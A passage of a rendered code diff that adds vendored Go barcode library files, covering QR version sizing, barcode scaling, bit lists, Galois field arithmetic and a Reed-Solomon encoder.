func (vi *versionInfo) charCountBits(m encodingMode) byte {
|
||||
switch m {
|
||||
case numericMode:
|
||||
if vi.Version < 10 {
|
||||
return 10
|
||||
} else if vi.Version < 27 {
|
||||
return 12
|
||||
}
|
||||
return 14
|
||||
|
||||
case alphaNumericMode:
|
||||
if vi.Version < 10 {
|
||||
return 9
|
||||
} else if vi.Version < 27 {
|
||||
return 11
|
||||
}
|
||||
return 13
|
||||
|
||||
case byteMode:
|
||||
if vi.Version < 10 {
|
||||
return 8
|
||||
}
|
||||
return 16
|
||||
|
||||
case kanjiMode:
|
||||
if vi.Version < 10 {
|
||||
return 8
|
||||
} else if vi.Version < 27 {
|
||||
return 10
|
||||
}
|
||||
return 12
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func (vi *versionInfo) modulWidth() int {
|
||||
return ((int(vi.Version) - 1) * 4) + 21
|
||||
}
|
||||
|
||||
func (vi *versionInfo) alignmentPatternPlacements() []int {
|
||||
if vi.Version == 1 {
|
||||
return make([]int, 0)
|
||||
}
|
||||
|
||||
first := 6
|
||||
last := vi.modulWidth() - 7
|
||||
space := float64(last - first)
|
||||
count := int(math.Ceil(space/28)) + 1
|
||||
|
||||
result := make([]int, count)
|
||||
result[0] = first
|
||||
result[len(result)-1] = last
|
||||
if count > 2 {
|
||||
step := int(math.Ceil(float64(last-first) / float64(count-1)))
|
||||
if step%2 == 1 {
|
||||
frac := float64(last-first) / float64(count-1)
|
||||
_, x := math.Modf(frac)
|
||||
if x >= 0.5 {
|
||||
frac = math.Ceil(frac)
|
||||
} else {
|
||||
frac = math.Floor(frac)
|
||||
}
|
||||
|
||||
if int(frac)%2 == 0 {
|
||||
step--
|
||||
} else {
|
||||
step++
|
||||
}
|
||||
}
|
||||
|
||||
for i := 1; i <= count-2; i++ {
|
||||
result[i] = last - (step * (count - 1 - i))
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
|
||||
dataBits = dataBits + 4 // mode indicator
|
||||
for _, vi := range versionInfos {
|
||||
if vi.Level == ecl {
|
||||
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
|
||||
return vi
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
package barcode
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"image"
|
||||
"image/color"
|
||||
"math"
|
||||
)
|
||||
|
||||
type wrapFunc func(x, y int) color.Color
|
||||
|
||||
type scaledBarcode struct {
|
||||
wrapped Barcode
|
||||
wrapperFunc wrapFunc
|
||||
rect image.Rectangle
|
||||
}
|
||||
|
||||
type intCSscaledBC struct {
|
||||
scaledBarcode
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Content() string {
|
||||
return bc.wrapped.Content()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Metadata() Metadata {
|
||||
return bc.wrapped.Metadata()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) ColorModel() color.Model {
|
||||
return bc.wrapped.ColorModel()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Bounds() image.Rectangle {
|
||||
return bc.rect
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) At(x, y int) color.Color {
|
||||
return bc.wrapperFunc(x, y)
|
||||
}
|
||||
|
||||
func (bc *intCSscaledBC) CheckSum() int {
|
||||
if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
|
||||
return cs.CheckSum()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Scale returns a resized barcode with the given width and height.
|
||||
func Scale(bc Barcode, width, height int) (Barcode, error) {
|
||||
switch bc.Metadata().Dimensions {
|
||||
case 1:
|
||||
return scale1DCode(bc, width, height)
|
||||
case 2:
|
||||
return scale2DCode(bc, width, height)
|
||||
}
|
||||
|
||||
return nil, errors.New("unsupported barcode format")
|
||||
}
|
||||
|
||||
func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
|
||||
result := &scaledBarcode{
|
||||
wrapped: wrapped,
|
||||
wrapperFunc: wrapperFunc,
|
||||
rect: rect,
|
||||
}
|
||||
|
||||
if _, ok := wrapped.(BarcodeIntCS); ok {
|
||||
return &intCSscaledBC{*result}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
|
||||
orgBounds := bc.Bounds()
|
||||
orgWidth := orgBounds.Max.X - orgBounds.Min.X
|
||||
orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
|
||||
|
||||
factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
|
||||
if factor <= 0 {
|
||||
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
|
||||
}
|
||||
|
||||
offsetX := (width - (orgWidth * factor)) / 2
|
||||
offsetY := (height - (orgHeight * factor)) / 2
|
||||
|
||||
wrap := func(x, y int) color.Color {
|
||||
if x < offsetX || y < offsetY {
|
||||
return color.White
|
||||
}
|
||||
x = (x - offsetX) / factor
|
||||
y = (y - offsetY) / factor
|
||||
if x >= orgWidth || y >= orgHeight {
|
||||
return color.White
|
||||
}
|
||||
return bc.At(x, y)
|
||||
}
|
||||
|
||||
return newScaledBC(
|
||||
bc,
|
||||
wrap,
|
||||
image.Rect(0, 0, width, height),
|
||||
), nil
|
||||
}
|
||||
|
||||
func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
|
||||
orgBounds := bc.Bounds()
|
||||
orgWidth := orgBounds.Max.X - orgBounds.Min.X
|
||||
factor := int(float64(width) / float64(orgWidth))
|
||||
|
||||
if factor <= 0 {
|
||||
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
|
||||
}
|
||||
offsetX := (width - (orgWidth * factor)) / 2
|
||||
|
||||
wrap := func(x, y int) color.Color {
|
||||
if x < offsetX {
|
||||
return color.White
|
||||
}
|
||||
x = (x - offsetX) / factor
|
||||
|
||||
if x >= orgWidth {
|
||||
return color.White
|
||||
}
|
||||
return bc.At(x, 0)
|
||||
}
|
||||
|
||||
return newScaledBC(
|
||||
bc,
|
||||
wrap,
|
||||
image.Rect(0, 0, width, height),
|
||||
), nil
|
||||
}
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
// Package utils contain some utilities which are needed to create barcodes
|
||||
package utils
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
)
|
||||
|
||||
type base1DCode struct {
|
||||
*BitList
|
||||
kind string
|
||||
content string
|
||||
}
|
||||
|
||||
type base1DCodeIntCS struct {
|
||||
base1DCode
|
||||
checksum int
|
||||
}
|
||||
|
||||
func (c *base1DCode) Content() string {
|
||||
return c.content
|
||||
}
|
||||
|
||||
func (c *base1DCode) Metadata() barcode.Metadata {
|
||||
return barcode.Metadata{c.kind, 1}
|
||||
}
|
||||
|
||||
func (c *base1DCode) ColorModel() color.Model {
|
||||
return color.Gray16Model
|
||||
}
|
||||
|
||||
func (c *base1DCode) Bounds() image.Rectangle {
|
||||
return image.Rect(0, 0, c.Len(), 1)
|
||||
}
|
||||
|
||||
func (c *base1DCode) At(x, y int) color.Color {
|
||||
if c.GetBit(x) {
|
||||
return color.Black
|
||||
}
|
||||
return color.White
|
||||
}
|
||||
|
||||
func (c *base1DCodeIntCS) CheckSum() int {
|
||||
return c.checksum
|
||||
}
|
||||
|
||||
// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
|
||||
func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
|
||||
return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
|
||||
}
|
||||
|
||||
// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
|
||||
func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
|
||||
return &base1DCode{bars, codeKind, content}
|
||||
}
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
package utils
|
||||
|
||||
// BitList is a list that contains bits
|
||||
type BitList struct {
|
||||
count int
|
||||
data []int32
|
||||
}
|
||||
|
||||
// NewBitList returns a new BitList with the given length
|
||||
// all bits are initialize with false
|
||||
func NewBitList(capacity int) *BitList {
|
||||
bl := new(BitList)
|
||||
bl.count = capacity
|
||||
x := 0
|
||||
if capacity%32 != 0 {
|
||||
x = 1
|
||||
}
|
||||
bl.data = make([]int32, capacity/32+x)
|
||||
return bl
|
||||
}
|
||||
|
||||
// Len returns the number of contained bits
|
||||
func (bl *BitList) Len() int {
|
||||
return bl.count
|
||||
}
|
||||
|
||||
func (bl *BitList) grow() {
|
||||
growBy := len(bl.data)
|
||||
if growBy < 128 {
|
||||
growBy = 128
|
||||
} else if growBy >= 1024 {
|
||||
growBy = 1024
|
||||
}
|
||||
|
||||
nd := make([]int32, len(bl.data)+growBy)
|
||||
copy(nd, bl.data)
|
||||
bl.data = nd
|
||||
}
|
||||
|
||||
// AddBit appends the given bits to the end of the list
|
||||
func (bl *BitList) AddBit(bits ...bool) {
|
||||
for _, bit := range bits {
|
||||
itmIndex := bl.count / 32
|
||||
for itmIndex >= len(bl.data) {
|
||||
bl.grow()
|
||||
}
|
||||
bl.SetBit(bl.count, bit)
|
||||
bl.count++
|
||||
}
|
||||
}
|
||||
|
||||
// SetBit sets the bit at the given index to the given value
|
||||
func (bl *BitList) SetBit(index int, value bool) {
|
||||
itmIndex := index / 32
|
||||
itmBitShift := 31 - (index % 32)
|
||||
if value {
|
||||
bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
|
||||
} else {
|
||||
bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
|
||||
}
|
||||
}
|
||||
|
||||
// GetBit returns the bit at the given index
|
||||
func (bl *BitList) GetBit(index int) bool {
|
||||
itmIndex := index / 32
|
||||
itmBitShift := 31 - (index % 32)
|
||||
return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
|
||||
}
|
||||
|
||||
// AddByte appends all 8 bits of the given byte to the end of the list
|
||||
func (bl *BitList) AddByte(b byte) {
|
||||
for i := 7; i >= 0; i-- {
|
||||
bl.AddBit(((b >> uint(i)) & 1) == 1)
|
||||
}
|
||||
}
|
||||
|
||||
// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
|
||||
func (bl *BitList) AddBits(b int, count byte) {
|
||||
for i := int(count) - 1; i >= 0; i-- {
|
||||
bl.AddBit(((b >> uint(i)) & 1) == 1)
|
||||
}
|
||||
}
|
||||
|
||||
// GetBytes returns all bits of the BitList as a []byte
|
||||
func (bl *BitList) GetBytes() []byte {
|
||||
len := bl.count >> 3
|
||||
if (bl.count % 8) != 0 {
|
||||
len++
|
||||
}
|
||||
result := make([]byte, len)
|
||||
for i := 0; i < len; i++ {
|
||||
shift := (3 - (i % 4)) * 8
|
||||
result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// IterateBytes iterates through all bytes contained in the BitList
|
||||
func (bl *BitList) IterateBytes() <-chan byte {
|
||||
res := make(chan byte)
|
||||
|
||||
go func() {
|
||||
c := bl.count
|
||||
shift := 24
|
||||
i := 0
|
||||
for c > 0 {
|
||||
res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
|
||||
shift -= 8
|
||||
if shift < 0 {
|
||||
shift = 24
|
||||
i++
|
||||
}
|
||||
c -= 8
|
||||
}
|
||||
close(res)
|
||||
}()
|
||||
|
||||
return res
|
||||
}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
package utils
|
||||
|
||||
// GaloisField encapsulates galois field arithmetics
|
||||
type GaloisField struct {
|
||||
Size int
|
||||
Base int
|
||||
ALogTbl []int
|
||||
LogTbl []int
|
||||
}
|
||||
|
||||
// NewGaloisField creates a new galois field
|
||||
func NewGaloisField(pp, fieldSize, b int) *GaloisField {
|
||||
result := new(GaloisField)
|
||||
|
||||
result.Size = fieldSize
|
||||
result.Base = b
|
||||
result.ALogTbl = make([]int, fieldSize)
|
||||
result.LogTbl = make([]int, fieldSize)
|
||||
|
||||
x := 1
|
||||
for i := 0; i < fieldSize; i++ {
|
||||
result.ALogTbl[i] = x
|
||||
x = x * 2
|
||||
if x >= fieldSize {
|
||||
x = (x ^ pp) & (fieldSize - 1)
|
||||
}
|
||||
}
|
||||
|
||||
for i := 0; i < fieldSize; i++ {
|
||||
result.LogTbl[result.ALogTbl[i]] = int(i)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (gf *GaloisField) Zero() *GFPoly {
|
||||
return NewGFPoly(gf, []int{0})
|
||||
}
|
||||
|
||||
// AddOrSub add or substract two numbers
|
||||
func (gf *GaloisField) AddOrSub(a, b int) int {
|
||||
return a ^ b
|
||||
}
|
||||
|
||||
// Multiply multiplys two numbers
|
||||
func (gf *GaloisField) Multiply(a, b int) int {
|
||||
if a == 0 || b == 0 {
|
||||
return 0
|
||||
}
|
||||
return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
|
||||
}
|
||||
|
||||
// Divide divides two numbers
|
||||
func (gf *GaloisField) Divide(a, b int) int {
|
||||
if b == 0 {
|
||||
panic("divide by zero")
|
||||
} else if a == 0 {
|
||||
return 0
|
||||
}
|
||||
return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
|
||||
}
|
||||
|
||||
func (gf *GaloisField) Invers(num int) int {
|
||||
return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package utils
|
||||
|
||||
type GFPoly struct {
|
||||
gf *GaloisField
|
||||
Coefficients []int
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Degree() int {
|
||||
return len(gp.Coefficients) - 1
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Zero() bool {
|
||||
return gp.Coefficients[0] == 0
|
||||
}
|
||||
|
||||
// GetCoefficient returns the coefficient of x ^ degree
|
||||
func (gp *GFPoly) GetCoefficient(degree int) int {
|
||||
return gp.Coefficients[gp.Degree()-degree]
|
||||
}
|
||||
|
||||
func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
|
||||
if gp.Zero() {
|
||||
return other
|
||||
} else if other.Zero() {
|
||||
return gp
|
||||
}
|
||||
smallCoeff := gp.Coefficients
|
||||
largeCoeff := other.Coefficients
|
||||
if len(smallCoeff) > len(largeCoeff) {
|
||||
largeCoeff, smallCoeff = smallCoeff, largeCoeff
|
||||
}
|
||||
sumDiff := make([]int, len(largeCoeff))
|
||||
lenDiff := len(largeCoeff) - len(smallCoeff)
|
||||
copy(sumDiff, largeCoeff[:lenDiff])
|
||||
for i := lenDiff; i < len(largeCoeff); i++ {
|
||||
sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
|
||||
}
|
||||
return NewGFPoly(gp.gf, sumDiff)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
|
||||
if coeff == 0 {
|
||||
return gp.gf.Zero()
|
||||
}
|
||||
size := len(gp.Coefficients)
|
||||
result := make([]int, size+degree)
|
||||
for i := 0; i < size; i++ {
|
||||
result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
|
||||
}
|
||||
return NewGFPoly(gp.gf, result)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
|
||||
if gp.Zero() || other.Zero() {
|
||||
return gp.gf.Zero()
|
||||
}
|
||||
aCoeff := gp.Coefficients
|
||||
aLen := len(aCoeff)
|
||||
bCoeff := other.Coefficients
|
||||
bLen := len(bCoeff)
|
||||
product := make([]int, aLen+bLen-1)
|
||||
for i := 0; i < aLen; i++ {
|
||||
ac := int(aCoeff[i])
|
||||
for j := 0; j < bLen; j++ {
|
||||
bc := int(bCoeff[j])
|
||||
product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
|
||||
}
|
||||
}
|
||||
return NewGFPoly(gp.gf, product)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
|
||||
quotient = gp.gf.Zero()
|
||||
remainder = gp
|
||||
fld := gp.gf
|
||||
denomLeadTerm := other.GetCoefficient(other.Degree())
|
||||
inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
|
||||
for remainder.Degree() >= other.Degree() && !remainder.Zero() {
|
||||
degreeDiff := remainder.Degree() - other.Degree()
|
||||
scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
|
||||
term := other.MultByMonominal(degreeDiff, scale)
|
||||
itQuot := NewMonominalPoly(fld, degreeDiff, scale)
|
||||
quotient = quotient.AddOrSubstract(itQuot)
|
||||
remainder = remainder.AddOrSubstract(term)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
|
||||
if coeff == 0 {
|
||||
return field.Zero()
|
||||
}
|
||||
result := make([]int, degree+1)
|
||||
result[0] = coeff
|
||||
return NewGFPoly(field, result)
|
||||
}
|
||||
|
||||
func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
|
||||
for len(coefficients) > 1 && coefficients[0] == 0 {
|
||||
coefficients = coefficients[1:]
|
||||
}
|
||||
return &GFPoly{field, coefficients}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
type ReedSolomonEncoder struct {
|
||||
gf *GaloisField
|
||||
polynomes []*GFPoly
|
||||
m *sync.Mutex
|
||||
}
|
||||
|
||||
func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
|
||||
return &ReedSolomonEncoder{
|
||||
gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
|
||||
}
|
||||
}
|
||||
|
||||
func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
|
||||
rs.m.Lock()
|
||||
defer rs.m.Unlock()
|
||||
|
||||
if degree >= len(rs.polynomes) {
|
||||
last := rs.polynomes[len(rs.polynomes)-1]
|
||||
for d := len(rs.polynomes); d <= degree; d++ {
|
||||
next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
|
||||
rs.polynomes = append(rs.polynomes, next)
|
||||
last = next
|
||||
}
|
||||
}
|
||||
return rs.polynomes[degree]
|
||||
}
|
||||
|
||||
func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
|
||||
generator := rs.getPolynomial(eccCount)
|
||||
info := NewGFPoly(rs.gf, data)
|
||||
info = info.MultByMonominal(eccCount, 1)
|
||||
_, remainder := info.Divide(generator)
|
||||
|
||||
result := make([]int, eccCount)
|
||||
numZero := int(eccCount) - len(remainder.Coefficients)
|
||||
copy(result[numZero:], remainder.Coefficients)
|
||||
return result
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package utils
|
||||
|
||||
// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
|
||||
// If the rune is outside of this range -1 is returned.
|
||||
func RuneToInt(r rune) int {
|
||||
if r >= '0' && r <= '9' {
|
||||
return int(r - '0')
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
|
||||
// of this range 'F' is returned!
|
||||
func IntToRune(i int) rune {
|
||||
if i >= 0 && i <= 9 {
|
||||
return rune(i + '0')
|
||||
}
|
||||
return 'F'
|
||||
}
|
||||
Loaded 100 of 153 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user